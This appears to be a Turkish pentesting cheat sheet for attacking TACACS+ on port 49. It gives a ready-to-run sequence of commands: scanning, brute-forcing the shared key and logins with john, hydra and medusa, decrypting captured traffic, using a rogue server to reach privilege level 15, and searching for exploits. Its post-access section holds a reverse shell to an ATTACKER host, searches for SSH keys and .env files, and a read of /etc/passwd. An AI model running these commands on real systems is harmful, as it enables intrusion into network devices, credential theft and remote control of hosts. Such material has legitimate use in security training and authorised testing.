49 - Pentesting TACACS+
TACACS+ aaa
TACACS+ AAA trafiğini şifreler. Zayıf key ile yakalanan paketler parola açar; sunucu spoof privilege yükseltir. Hedef lab IP’si üzerinde komutları 49 portuna göre uyarla; her başarıyı ayrı kanıtla.
Metodoloji
Section titled “Metodoloji”-
49/tcp doğrula.
-
Key brute (john/hashcat varyantları).
-
Capture decrypt.
-
Fake TACACS ile priv-lvl.
nmap -Pn -sV -p49 TARGETnc -nv TARGET 49tcpdump -ni any port 49 -w tacacs.pcapKey & decrypt
Section titled “Key & decrypt”john --wordlist=rockyou.txt tacacs.keycandidatestshark -r tacacs.pcap -V | headpython3 tacacs_decrypt.py -k key -p tacacs.pcaprogue TACACS → priv 15hydra -L users.txt -P pass.txt tacacs://TARGETDerin enum
Section titled “Derin enum”TACACS+ için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p49 TARGETnmap -Pn -p49 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:49' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',49));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → TACACS+Kimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 49 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 49nmap -p49 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit TACACS+msfconsole -q -x 'search TACACS+; exit'nuclei -u https://TARGET:49 -t cves/ -silent -severity || truenuclei -u http://TARGET:49 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 49printf '' | timeout 3 nc -nv TARGET 49curl -vk --http1.0 http://TARGET:49/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”pcap → weak key → creds → network device admin